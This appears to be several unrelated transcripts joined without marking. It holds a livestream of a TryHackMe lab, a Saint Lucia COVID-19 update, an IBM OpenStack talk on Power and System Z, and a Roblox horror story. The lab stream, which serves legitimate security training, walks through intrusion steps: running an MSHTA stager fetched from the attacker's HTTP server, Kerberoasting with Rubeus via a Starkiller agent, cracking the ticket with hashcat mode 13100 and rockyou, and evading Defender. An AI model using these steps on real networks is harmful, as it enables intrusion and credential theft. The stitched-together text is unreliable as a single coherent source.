do it again, I'll just try it TB guest And welcome TBsec Should be 10, 200 dot 5 Now 79 And ask for a certificate Will it work? Yeah, alright Okay We're doing it again All over again We got This little flag here for user Just slap that in For user On That's number 25 Right What happened to 4? A 24 I just didn't write down It's a little bit bigger so you can see it, sorry And now we need to get root on that thing So We should Get Rubius And Starkiller all set up Again Let me see if I can remind myself How to actually Do that I want to get A regular shell on this I don't think I can though Because I probably won't be able to disable Defender Because I don't have privilege escalation yet So I think I've just got to go for Getting Rubius back on Starkiller back on there But I need to get an agent on there After retrieving credentials from the mail server We gain access to dbsec's domain controller Oh no, yeah, I didn't even try So I guess I can try It's worth The try I might Oh no, this is a guest account So that might be really weird It's a thing Let's get back to my server Use Multihandler Run ASAP In case it kills Met AV Did I say run? Did I run that? Great We could do some other privest stuff Maybe if we wanted to Let me migrate on that ASAP Just in case Can I just get system? Quick win? Nah Fine Let's do the empire at this point To use Rubius to automate Kerberoasting We can either compile and transfer a bind around the target machine However, this will get picked up by AV Or you can use a C2 C2 tool To load Rubius and execute commands in the C2 agent So We'll need to generate a stager and star killer To transfer the domain controller and get a star killer agent On the domain controller Alright Time to remember All of the empire star killer things That I was doing There are a lot of shells All of which are seemingly being used Currently for I should No longer use this shell If I'm depending on him to do all of these other XRDP things This will now be my Dead shell Let's Go into opt And empire And I think we needed to Pseudo empire rest Is that right? Yeah We need to Get into Star killer Pseudo star killer No sandbox This kind of feels good Honestly, this feels like I have learned something And I feel like I'm working through here So I need to create a new stager Right, so I can do that Um You know metasploit does have Kerberos Does it? So you're gonna end up teaching me A thing or two here Search Kerberos Oh Can I use that? Or Load meme cats? Oh that's true I was too stuck in my ways Load Meme cats I could like load Kiwi now But will it be able to like Get stuff?  Is that how that should work? I need a listener I need to be myself <IP_ADDRESS> Do I need a port or something to like listen on? 999 No Oh I need a listener I now understand HTTP Quad 6 is fine And I am now Running on 50.3.2 So we'll use quad 6 Okay So if I create a new stager With MSHTA Would I just be able to like Do it Like do I just run MSHTA and then like the thing I'll put copied to clipboard What did that actually do So I have this MSHTA thing And I could host that With MSHTA or like Agent.HTA I guess I'll call that that And Maybe that will get an agent callback Hopefully That one's hosting, that HTTP server is hosting So Over on .579 I should be able to MSHTA, HTTP <IP_ADDRESS> 8000 Agent.HTA I forgot a space It ran it It triggered It got it successfully Oh sorry You can see that there in the logs And over in Star Killer If I Bump around do I have a new Agent at all I'm bad at this I did a PowerShell one previously What happened to the other listener That's not right That host is wrong Can I edit this I cannot seem to edit this What What Kill that thing We're a new listener on HTTP And that's what it should be It should be HTTP.1 I guess it's now just giving it a new name And There's a Stagers And That goes to HTTP That would have been an old one So maybe that's not right Let's make a new one Let's Use The batch launcher And let's use that HTTP.1 Let's just see that That will behave Because now HTTP.1 Is going to be at the right host in the right port And I have this Windows Launcher.bat Let's Put it in that Meturpreter directory And let's just take a look at it real quick So Can I run that I'm glad you have faith dude You know me I don't Let's put that in Launcher.bat And let's put Launcher.bat in here So we should see in the background Let's make this request Which we do And we have Launcher.bat And I can dot slash Launcher.bat And it should close the window When it properly starts the agent And I have a new agent Alright Thanks Jaximus I appreciate you extending the lab for me Alright we got an agent Alright So Now we can run some modules Rubius Go And that will take some time From what I remember In the last Stuff Oh it needed a command F Shoot Okay it just didn't have Didn't have a Didn't have a thing to do My bad Module name Rubius Rubus Command Kerber roast Right And just let it go Okay Because it's an HTTP C2 cycle It takes 5 seconds getting back to me Rough I saw some output though Let's see what we got here Run Rubius Got a new hash Is that literally it Do I literally need to crack this hash again Are you serious Are we gonna be doing More More collab cat Pass the hash Can I do pass the hash? I feel like I need to crack this Yep Back to my old collab cat What vulnerable service What vulnerable account TB service What password can be cracked Let's get back At our friend collab cat But first Let's clean This stinking hash Move all those new lines Make this thing behave Alrighty TB service Final hash This stream has been brought to you in part by Collab cat That's a good joke Sponsor, just kidding Collab cat Bring me back This is all shout out and thanks to Collab, or to Jaximus coming in clutch Offering his Connection pack Oh yeah, too much line is texted Funny Here we go Let's use the One rule to rule them all Utility So let's while we're waiting We can go ahead and stage this command We're gonna end up using hash cat And I think this is Like 381 I think this is one of the three Hash types It is CBRTG That guy, so let's go back to that And let's search for him Yeah, it's 13100 Okay So It's this thing We need to CD into Drive My drive Dot hash cat And then we need to echo This big long thing Into Last dot text So specify that mode We'll use the tack a zero Because people tell me that I should And we'll use one rule to Rule them all Dot rule And Last dot text with Rock you dot text So How is hash cat doing He's still compiling over there But I think We are pretty well staged We just got to let this boy go Waiting for my said Command to tell me that we're done Hmm Boy oh boy We're almost at the end I feel like we're basically at the end It's been fun, hey thanks Jackson You're the man, thank you so so much For Helping out This has been a really awesome Learning experience for me So I'm really grateful For all this learning Hash cat now works So let's start to Slap some of these commands in Can I get a quick synopsis Of collab cat It's just crowdsource cracking It is Google collab And they're kind of online sourced For being able to run commands and use some resources And it's set up With hash cat so Or you can set it up with hash cat Stage to run with hash cat So it actually Is fast For cracking hashes Why not just run it locally So I'm streaming Right now, right And it kind of really Really slows down the stream And it might take forever for it to crack On my GPU Not forever, right It would just be like 10 hours Or 8 hours My GPU would be like I'm trying to help But I wonder if we actually Need the one rule to rule them all right now Or I wonder if we're just making it worse Because this is taking longer Than it usually does Normally Collab cats like done Can I run like a separate Hash cat Session that's not running With the rules What password could be cracked From the Kerberos ticket Yeah, I was going to say Only one at a time, there's no way that I could run another That looks like a long Password though Like this This looks like something that would have rules in it Or would need rules in it Am I wrong In that I will forever Go to collab cat though Now that I like know and understand this thing Maybe filter the word list By max characters before cracking That's an option Part of me wonders how long it'll take This thing to run through Everything that it has Oh I guess it's 0.19% done So that probably doesn't help Let's Quit this one And try without rules Just to see Yeah I was going to say how are the rules Just let them go And that's a very good thing that we did that Because it is immediately cracked What do we got What's our password here Security admin That thing Oh boy Final hash crack That is the User TB secret So what can I do at this point How Am I Realistically Supposed to Do that RDP SSH any of them Can I do a run as Yeah Yeah I did it We did it We are in the net user Are we an admin Yeah Yeah I need a sig and run type Keeping it real all the way till the end Wow Holy cow What A journey Quick draw on the flag Submission real quick Full screen for the full effect Hit the submit button Go down to game over Be done with it Oh my goodness Wow What A journey Congratulations everybody thank you You guys are the ones that helped me Through this thing I hope you learned more than I did We spent what 12 hours 14-15 hours on this So much time Let's check out that certificate Firefox is prevented from Opening a pop-up Because that's malware Open that thing Wow Thanks so much everybody Jaximus Kudos and credit to you You've been incredible Special shout out and thank you to Krillix for one thing Making this gosh darn thing Same thing with Darkstar, same thing with Ashley, same thing with Ben Same thing with Spooky Dark Everyone has been incredible and fantastic For putting this together I learned a ton At least I feel like I learned a ton I hope I retain a lot of it CME, Crackmap, exec Starkiller, Empire Kerberoasting Secret Stump, Impact Bloodhound There's so much that we've worked through For this And we finally made it to the end Wow I don't know how to end this stream now You know We've accomplished so much Yeah, that felt like we really Had a lot going on I am really really Grateful for The hand holding And I don't want to say hand holding Right Because it's not what it was I still felt like I Was doing it I appreciate all the background And all the information That This was willing to offer To kind of help me I don't know, get up to speed I appreciate it showcasing and explaining Some of the offensive power shells Some of all the stuff We got a really great learning value With setting Windows Defender real time monitoring And turning that off That was kind of cool And finally your boy on twitter Jaximus is Throwing his twitter account out here Here we go, here we go Follow Jaximus, this is a really sketchy look In twitter page dude I'm kidding, I'm kidding This is fantastic, thank you so much Thank you everyone for tuning in Thanks for everyone watching And thanks for having a great time with me I really hope that This helped you Look behind the curtain as to what throwback is What the TriHackMe Network showcases And helps you learn Because this was all A lot of new stuff for me This was things that I haven't explored before And that was probably pretty evident In everything that we worked through But this has been an absolute blast So I can't say it enough, thanks so much Now We need to end this stream And we need to go to bed Because it's three in the morning So Thank you everybody I'm gonna hop over to OBS And call tonight What should we do next? What should we do next? What else are we gonna stream? I don't know, let me know Thanks all Take care everybody, have a good night I love you, I'll see you later


Today, Tuesday October 27, 2020, the Ministry of Health and Wellness received confirmation of two new confirmed cases of COVID-19. This brings a total number of cases diagnosed in country to 65. There are presently 38 active cases isolated and in care. Case number 64 is a 15-year-old female from the Castries District. Case number 65 is a 36-year-old female from the Barbano District. Both of these cases were in quarantine while awaiting results from their tests. Case number 64 was a contact of case number 43. It is important to note that we are all vulnerable to the COVID-19 virus no matter our age, gender, place of residence or employment status. This virus can be contracted by anyone. However, by each person constantly keeping on guard and adhering to the guidelines for the prevention of infection, it is possible to remain safe even while living with COVID-19. It is possible to put a stop to the increasing number of cases if we do what works. Wash and sanitize our hands often daily, wear a face mask in public, cover your sneeze and cough if a tissue or inner elbow and tissue is not available and maintain the six foot physical distance from the next person. Also, everyone with respiratory signs and symptoms are advised to visit the nearest respiratory center. The Ministry of Health and Wellness will continue providing regular updates as new information becomes available.


All right, good morning everyone. Thanks for joining us early in the morning. Hope you guys had all the fun at the parties last night. My name is Sean Murakami. I'm with IBM's Cloud Performance Team, part of the Software Group Strategy Division. And this is Phil Vestis, he's a senior technical staff member with IBM in our group as well. So just to start off, just want to see how many of you or your customers are using either legacy systems or have applications using legacy systems, backends for your applications. Good, it's about half of you guys. So today we're really going to talk to you about OpenStack and how the OpenStack can be used to leverage other platforms and not just only x86. So when we think about our journey through our OpenStack progression, when we start off, we're really looking at single no configurations and this journey through a distributed platform. How many of you are new to OpenStack and just getting started? Oh, good. So when we start off, we really start looking at what OpenStack features have to offer, what OpenStack's really about. In my experience, about a little over two years ago, when IBM helped start the OpenStack foundation, I was asked to go take a look at OpenStack, figure out what it is, and then within the next couple of weeks, we might actually need to talk to a customer about it. The way I got started learning about OpenStack is start off with a single no configuration, leverage tools such as DevStack. If you don't know what a DevStack is, you should really go check it out. It's really what a lot of developers use in the developer community to unit test their environment. And it's a good tool to help you just to get the wheels going and to learn about OpenStack and actually get it installed relatively quickly. So the next step in our OpenStack journey is really to look at multi-node deployments. And what I mean by multi-node deployments is when you start off with a single, typically a single controller node, and you're really looking to scale out your compute nodes, really trying to understand and run real workloads against OpenStack. This is where I learned a lot, myself, about the features and functions about OpenStack, because this is really when you get into the guts of the configurations and try to learn the ins and outs of what works for you and your applications. And this is also where you learn all the pitfalls and some of the good things that OpenStack has to offer. But this is really when you start looking at whether if it's managing multiple compute nodes or what hypervisors work best with your applications. Continue on the journey, we look at finally distributed deployments. And this is really when we start to look at moving your applications to more of a production or high availability environment to make sure that your applications can sustain, sorry, your OpenStack deployment can sustain your application workloads. This is also when you start to think about how to automate your OpenStack deployment to make these things repeatable and reliable. A lot of things we've been working on recently have been in this area around high availability. We gave a talk last year in Atlanta about this and at this summit we started expanding on our high availability thinking by leveraging Docker to run in these scenarios. So what concepts does OpenStack provide you to manage these distributed and multi-node deployments? So OpenStack provides you a couple of capabilities within its Nova configurations. We look at these four constructs. So the first two are really API level logical groupings of how you can split out your environment. So when you look at cells, we heard a little bit in the keynotes about some of the customers using cells to arrange different scheduling groups within a single OpenStack region. And when we talk about regions, it's really a way for us to segregate multiple OpenStack deployments. So typically our customers would use regions to define OpenStack deployments either geographically or between different data centers. The next two availability zones and host aggregates are really break-downs at the physical level of the OpenStack deployment. First I'll kind of go over host aggregates. So host aggregates is a grouping that you can put in your Nova config where you can really define or group like systems. So for example, if you have a set of physical nodes that have a certain rate configuration that's more applicable to your, perhaps you want to use for your database applications, we can break those up into those host aggregates. And availability zones are breakups of groups of systems. Typically you would break them up either between racks or a group of racks. And this is really where we start looking at how we want to deploy our applications into those nodes to sustain the high availability at the application or workable levels. So this picture kind of gives you an overview of those four concepts I just talked about. So at the biggest level we have in the boxes regions, these could be again in different data centers or across different geographies. Within the data center or within the region we can have a group of compute nodes which can classify as cells. So these can have different scheduling policies. Further breakdown, within each rack we can define these as availability zones. And across racks we could have host aggregates so we might have different sets of high IO compute nodes set up in across racks. I think one of the things we, again it's early in the morning we're trying to keep you guys awake. Before we just go on, it was maybe of interest to figure out who's kind of at this level of deployment with OpenStack. Is there anyone here who's at that level multi-node or distributed deployments with your customers? Great, what, if anyone's willing, what industries or segment are you operating in? Telecom? Finance, anyone? Telecom? Okay. Yeah, great. So I think we're really looking at, okay, what's next in your multi-node? So this is where we're gonna really look into and dive into potentially multiple platforms and why we need OpenStack to actually work on these other architecture environments. So, I don't know what to fail. All right. So yeah, we're kind of gonna leave some of those concepts that Sean talked about. Some of the OpenStack segregation concepts and focus for a few minutes on platforms. You know, obviously we can start talking about, you know, I think the most common platform in use in OpenStack is obviously the X86 architecture. You know, Gardner and others have mentioned that, you know, in the last few years of cloud, more than 50% of all traditional workloads have been virtualized, put in the cloud. And even, you know, before we even leave X86, there's obviously already a multi-compute set of capabilities on X86, you know, officially OpenStack supports all these hypervisors, KVM, Zen, Hyper-V, VMware, and I don't know if anyone caught Eric Windish's talk yesterday, the Nova Docker driver is currently out of tree, but it's there and people are using it. So, you know, X86 is definitely the most common platform in use. But, you know, so maybe it begs the question, why do we need other architectures in the cloud? You know, could we migrate these traditional workloads to X86 and continue on this path?  And one picture we'd like to use to help explain that is really thinking of customer architectures, really put in two major buckets. One, we're calling system of record, and the other, system of engagement. What we use those terms for is, if you think of the back office, the traditional IT systems in an enterprise, many of those are on, you know, especially when we're talking about large enterprise on mainframes, and then, you know, looking at systems of engagement, that's more the mobile, the emerging spaces. This is where a lot of the activity around DevOps, continuous integration. And so there, in a sense, there are two different worlds here operating in the enterprise, and both are critical, obviously, much of the data, whether it's healthcare, whether it's other traditional backend operations, we need to find a way to integrate these two worlds. And one of the ways that that needs to happen is to not, you know, remove these systems of record, but find a way to bring the innovation of the systems of engagement to that world. So let's just talk about what architectures are available. In OpenSack today, beyond X86, and then we'll dive into a little bit of detail. I believe today these are the three non-X86 architectures that have OpenSack drivers. We'll talk briefly about ARM. Personally, I don't believe IBM has a lot of activity in the space, but obviously our power and Z systems are traditional hardware platforms that many of our customers are using. If you look at ARM, Canonical has added 64-bit ARM support to Ubuntu with KVM hypervisor support. And so, you know, again, I don't have a lot of experience in this area, but while microservers are kind of a new trend, they definitely can hold promise in the area of low energy, reduction of space, requirements, and you know, media serving and other potential uses do exist. And so we'll see what happens with ARM and microservers. You know, there are significant growth rates predicted in the area of microservers and support is there today. I don't know if anyone has heard of TriStack. That's another way to, you know, potentially start to learn about OpenStack. If you go to TriStack.org, I know at one point they were offering ARM servers in their pool that you could try out. So you can check that out. So moving on to one of IBM's traditional server platform forms. There have been some fairly significant announcements this year around power. And we're gonna get reconnected. All right, so as I mentioned, there's a couple of things we should talk about here. One being that, you know, power has had a long history of virtualization well before OpenStack. The PowerVM hypervisor and its current implementation has been around for a number of years, at least prior to KVM. But hypervisor technology on power dates well back, you know, a decade before that. So we'll talk briefly about PowerVM. But then this year we announced in April, PowerKVM and also LittleIndianSupport was added to Ubuntu's distribution. So 14.04 has PowerKVM capability. And we also have our traditional REL and SLES Distro support. So, you know, on power today, that means you have two hypervisor options, PowerVM and then the PowerKVM that was announced this year. And then it's worth mentioning that in addition here, we're bringing Docker to power. That work has already started in the upstream communities. And so that will be available in the future as well. You know, one of the traditional areas that power has used, how many have heard of Watson? Our cognitive computing supercomputer, that runs on the power architecture. And, you know, a lot of the traditional power features, the memory architecture has been a perfect fit for big data and analytics. And there's also a traditional install base around ERP and CRM applications. So let's move to System Z. How many have heard of System Z? Or know what I mean when I'm saying that? So that is IBM's traditional mainframe platform, which was supposed to die many, many years ago, that has lived on. Again, when you look at Z, from a virtualization perspective, even prior to the naming of ZVM, there has been virtualization capabilities on Z even back to the 1970s. But officially, the ZVM LPAR variant of that has been around since 1987. So, you know, we're gonna talk through what the capabilities are around that. But, you know, traditional Z workloads have been around for a very long time and a very significant percentage of global financial and enterprise data lives on Z today. You know, one mention here, you know, Visa has been relying on System Z for transactional processing, you know, reaching very, very high rates of transactions per second, especially in the holiday season. So, you know, their ability to have that kind of workload on Z is critical to their business. And yet, you know, that's another pointer that we can't ignore Z as a participant in cloud. Again, briefly looking at the hypervisor offerings. ZVM is there today, traditional LPAR support. If you look upstream, you'll already see IBM working to bring ZKVM, which is KVM and the LiveVirt and QMU components to Z. And again, at this point, that's upstream work that's happening. And then, in addition, there is the attempt to bring Docker to System Z as well, along with the work we're doing on power. So, we'll have a question. Yes. We can take a question now. Yes. Yeah, so, in a couple of charts, we're gonna look at, again, we're not talking about bringing these transactional systems to the cloud, but moving cloud workloads, these systems of engagement to the data. And we'll show why that's valuable. So that we're not talking about running these traditional workloads as cloud workloads, but getting cloud workloads like the web serving near the data and why that's valuable because of the transactional needs that we can't separate that and expect to get the same throughput between those systems. So yeah, let's move along and maybe it'll become clear as we describe some of the Z features. Again, our traditional mainframe strengths have been around the performance availability and security of these systems. Again, based in many significant technologies dating well into the 60s and 70s that have been iterated and continue to be improved into the modern era. But given that they started with the design points of being extremely scalable, a share everything model with extremely high-speed networks within the system and full CPU and memory sharing, we'll look at a consolidation example that shows rates of 30 to one moving from sort of commodity systems to system Z. Availability, so SLAs, the compliance rates for system Z are amazing when you look at it on a graph compared to other architectures. With our bringing Linux to this platform, a lot of these components and capabilities are exposed up to the Linux layer offering some of these same features of the platform within Z Linux. Security is obviously a hot topic in servers and cloud specifically. And again, the design of this traditional hypervisor has very significant isolation guarantees. And because of our traditional strengths here has significant logging, monitoring, auditing, capabilities that have been in the system for decades. So again, with our enterprise customers, we're finding that their performance and availability needs require bringing these cloud components to the Z system to handle the extreme throughput requirements that they've already had in their system of record transactional systems. So here's just a fairly simple example of a web server running separately on a Linux server, connected to DB2 on ZOS, bringing that to where they're both co-located within the system Z with the web serving and the DB2 in separate L-Pars but within the same server. So Z Linux and a ZOS image, both connected internally. You can see that the transactions per second have a huge performance increase. Much of that do again to the internal connectivity, the IO channels within the system Z ecosystem, allowing for much more significant throughput. And this is one example. We have quite a few studies that have been done and much more data around the transactional capabilities of co-locating within the Z server. And then a few other examples around consolidation. So a couple clients have done consolidation onto Z from X86. You can see that, again, increase of data center needs, complexity increasing the support, the licensing, the maintenance of those systems, therefore impacting their ability to service customer needs, the time to deploy new racks, new systems. And so both nationwide insurance and Baldor have consolidated onto a system Z and SAP DB2 applications running both Z Linux, ZOS, ZVM. And some of the numbers here that they found, energy costs were reduced greatly. Baldor noted a significant reduction in data center space requirements. And then obviously due to the consolidation, a lowering of administration and maintenance costs for those servers. So again, some of the benefits both of the system Z architecture, its capabilities combined with the benefits of consolidation, hopefully even with this brief overview, you can see that there's a great value to keeping Z in the ecosystem and combining that with systems of engagement workloads. So we're gonna talk a little bit about what it looks like today to bring Z into OpenStack. Then we'll talk about where things are heading and then we'll look at that for power as well. So today, mostly because of some historic reasons of how IBM started with cloud on Z, and especially with Linux virtualization, we end up with a region for Z using an x86 compute node that's a proxy to Xcat, which is another open source project that IBM developed historically for doing cloud administration. And that, the Xcat tool is what actually is deploying ZLinux LPARs onto the system Z through your compute proxy. And so basically today using ZVM for Linux that you'll have to have a region per LPAR proxying your OpenStack APIs, the node APIs through that to the system Z. That will communicate through Xcat to actually schedule and provision images onto the Z mainframe. Now as I mentioned, we are bringing KVM currently in the upstream communities to ZLinux and therefore the hope would be in the future that you have standard Nova, Libvert, KVM pathways to deploy ZLinux onto the system Z ecosystem. Similarly, power, we mentioned that there's power VM as an option for hypervisor and that power KVM was announced this year. So again, similar but slightly different pathways with power VM, you have to use the power VM driver and the IVM virtualization manager that's built into the power platform. With power VM, you're gonna have the ability to both run traditional AIX and system I instances as well as Linux. But with power KVM, there won't be support for HMCs for those that use the hardware management controller. But that takes IVM out of the picture and you're talking directly to KVM. Again, that's the standard Nova to Libvert to KVM path. But that also removes the ability to have AIX or the traditional system I OS images involved. So those are the two options, power VM, power KVM, power KVM obviously aligned with power eight and some of the canonical announcements around that that I mentioned. So, you know, what next? If you haven't been in these ecosystems of power systems Z, there's a couple of options to learn more. You can come talk to anyone at the IBM booth. There's a power eight system there. You can check out a power eight server. You can talk to folks there who have expertise. We also have some open stack offerings from IBM. Obviously we have upstreamed the capabilities that we've talked about, but we also have our own cloud manager with open stack and our IBM cloud orchestrator products that are already fully support managing Z and power architectures. And then also some places to try out Z and power. The IBM hosted orchestrator beta. And then yesterday I was talking to someone from Canonical who pointed at Runabove has power eight servers in their cloud. And so you can access a fully open stack capable power compute resource through Runabove. And earlier this year, we announced that software would also be offering power compute. And if you've seen the recent announcements of the IBM Watson services, that's running on power in software today. And that should be exposed as well in the future to other customers. If you already have power Z hardware, a few notes about what's required to be using open stack using KVM or the traditional hypervisors. This list of Z enterprise systems or what's available today does require ZVM63 or greater. So if you have significantly older Z hardware or older ZVM releases, open stack won't be viable there. Power VM requires power seven or power eight with the virtualization manager. Power KVM requires the newer power eight servers that were announced, but does support a rel seven big Indian slash 12 little Indian and the two latest have been two releases as little Indian. And as I mentioned, with power KVM, there isn't support for the hardware management console. These slides will be available online. There's a link there, which will take you to IBM's offering center for Linux on power and Z. And lots of detailed guides and configuration information is available there. Most of the IBM sessions have come and gone given we're on Wednesday. There are a few more. If you're sharp eyed, you saw that our description of our talk mentioned federated Keystone, which we weren't able to integrate, but the experts are talking at 1150 today. Some of the folks who were very involved in the development of that capability in Keystone. So that that's available there. And then directly after this and through the early afternoon, the IBM track sessions are available with again, directly after this next door, there'll be a more detailed talk about all of our cloud offerings, which will cover obviously the manageability of power and Z. So with that, any questions, anything that we didn't cover that you thought we would, or other interesting questions? I lost the last part of that. There's, I think there's a mic. Yeah, you said that you were bringing KVM or set KVM to Linux on system C. Is there a benefit to using KVM inside Linux on system C compared to just spitting up a new Linux instance on system C? Yeah, so, so as I mentioned, I think one of the major benefits will be having the sort of traditional Nova driver through live vert capability rather than the current XCAT having to create a region that talks to X86, the proxies through XCAT. I think as we get into next year, there'll be more information about, you know, what pros and cons of ZKVM versus traditional ZVM alpars. Yes, to bring blue gene. Oh, blue gene. I don't, I don't know, have an answer for that, but I know some of the blue gene folks, so we could tee that up if you wanna catch me afterward. Where we're running people being really sensitive about taking, they haven't necessarily built a ton of these yet, and beyond that, it's a next-gen story of a kind of crime system or a next-gen story of a kind of crime system. It's those kind of two players that would put in or bring the cloud closer to the more of a moving one visa transaction, but I'm communicating with money. Some of the communication is still very time-to-experience. Right. All right, we have a couple minutes if there's anything else. Otherwise, you know, feel free to catch us at the IBM booth or after the talk. Thanks very much. Thank you.


One day, I was searching for random groups to see, if I want to join any of them, when I encountered a group named, Roblox Left. I looked at this, because it was suspicious, and its rankings were, Fenn, Army, The Ones and Roblox Left. Fenns were obviously just Fenns, Army had weird people, the Ones had one person only. ASB3WXSIGHY2SGYWXS, was the one in the rank. The first is I love you friend himself. I looked at I love you friends games, and he had one called, would you? The description said, could you? I immediately joined the game, to see what this game was, and it was a blank baseplate with 7 to 12 trains around the baseplate scattered. I was just about to leave, because it looked like it was nothing, until I love you friend joined me. My heart skipped a beat for a second, as I noticed the creator of the game joined me. No, would you? He asked. Would I what? I responded. Would you, could you? I love you friend left, and I left too. I sent him a friend request, which was a major mistake. Anyways, I went to play games that he didn't follow me to. Luckily, the very next day after school, I played Roblox with my friends from class. After we were all done playing lab experiment, they logged off for the day. I didn't, I was busy playing jailbreak earning money for the Bugatti. I was listening to music on YouTube, and I went to choose a different one, when I noticed I had a notification. I changed my music, but I checked my notification. This surprised me, I thought he would just forget about me after the first encounter. He was online just then, so I decided to join him in his game. It gave me an error, so I couldn't join, he might have been in a VIP server. Nothing happened, that day, so I just forgot about it for the rest of the day. 9pm, February 1st. Literally the day I'm writing this, I found him 10 minutes ago. He was playing a game by ASB3 at WXS IGHY2SGYWXS. I joined him and he said, How are you doing on this fine night?  What are you going to do? I said, I'm not doing anything. He responded. Roblox is already doing the work for me. He said before leaving. February 3rd. This is my first update to this page. I have looked deeper into this Roblox left and I love you friend madness and found that the group has a game. It's called Hello. While I was in this game, nobody else was. It was the Roblox HQ with me locked inside, and love a rock all over the place. I climbed to the top and I found a giant player looking down on me. Nobody else was in the server, so it probably was an NPC. No encounters for the day, so nothing really happened, except when I looked at I love you friends creations. He had two new models. One labeled the power source. The other don't touch my things. The power source was a metal table with a ball on top that said a number, presumably 48. I don't know what that means, but it seems like nothing. Don't touch my things was really weird. It showed a head with blood spurting from it, and it was closed up with glass and stone all around it. I'm not sure what it meant, but that's all that has happened today, so far. February 4th? Second update, but again, no encounters. He did make a new game, though, called ZXZPBCDZLGHVDXNI. It's a weird game, but I took some screenshots to see what you think. Here's the first screenshot I took. It's near, where you spawn, and it seems like it's a broken down house with a stone with the Builderman error 404 thing. You can push it around, so that means it isn't anchored. If you play the game and find something else about that stone, tell me. This was the last weird thing I found in the game, it's a sign trapped in dirt so you can't read it, I tried touching it, jumping on it, I even tried to shift block glitch it up, but it wouldn't budge. I don't know what it is, but if you can help with it, that'd be great. That's all that's happened today. February 14th, Valentine's Day. I love you friend deleted ZXZPBCDZLGHVDXNI. It is no longer on his page, but it is in my recently played. The description didn't change, although, would you, changed, and so did I love you friend. You can no longer play would you? It is still on his page, but it is closed for visitors. I'm not sure why, but if he updates it again, I'll update this page like I have been. I love you friend now has changed his avatar. Instead of a comedy mask, he has half of a mask titled the Phantom of the Opera. He also has a t-shirt saying, join Team Roblox left today. On him, similar to Cool Kid. Instead of his group's logo. His group has completely changed. It has Chinese writing and Caesar cipher all over the description and the group wall. It's too much to translate, but if you can, that'd be great. March 18th, John Doe Day. For once in a long time, I love you friend was active. He exploited my game and it was crazy. It was lots of deleting stuff and screaming to join their group. He was only online for like 30 minutes and logged off. There's not much to it. He changed his group description to Times Up and his status to It's March 18th. So yeah, that's it.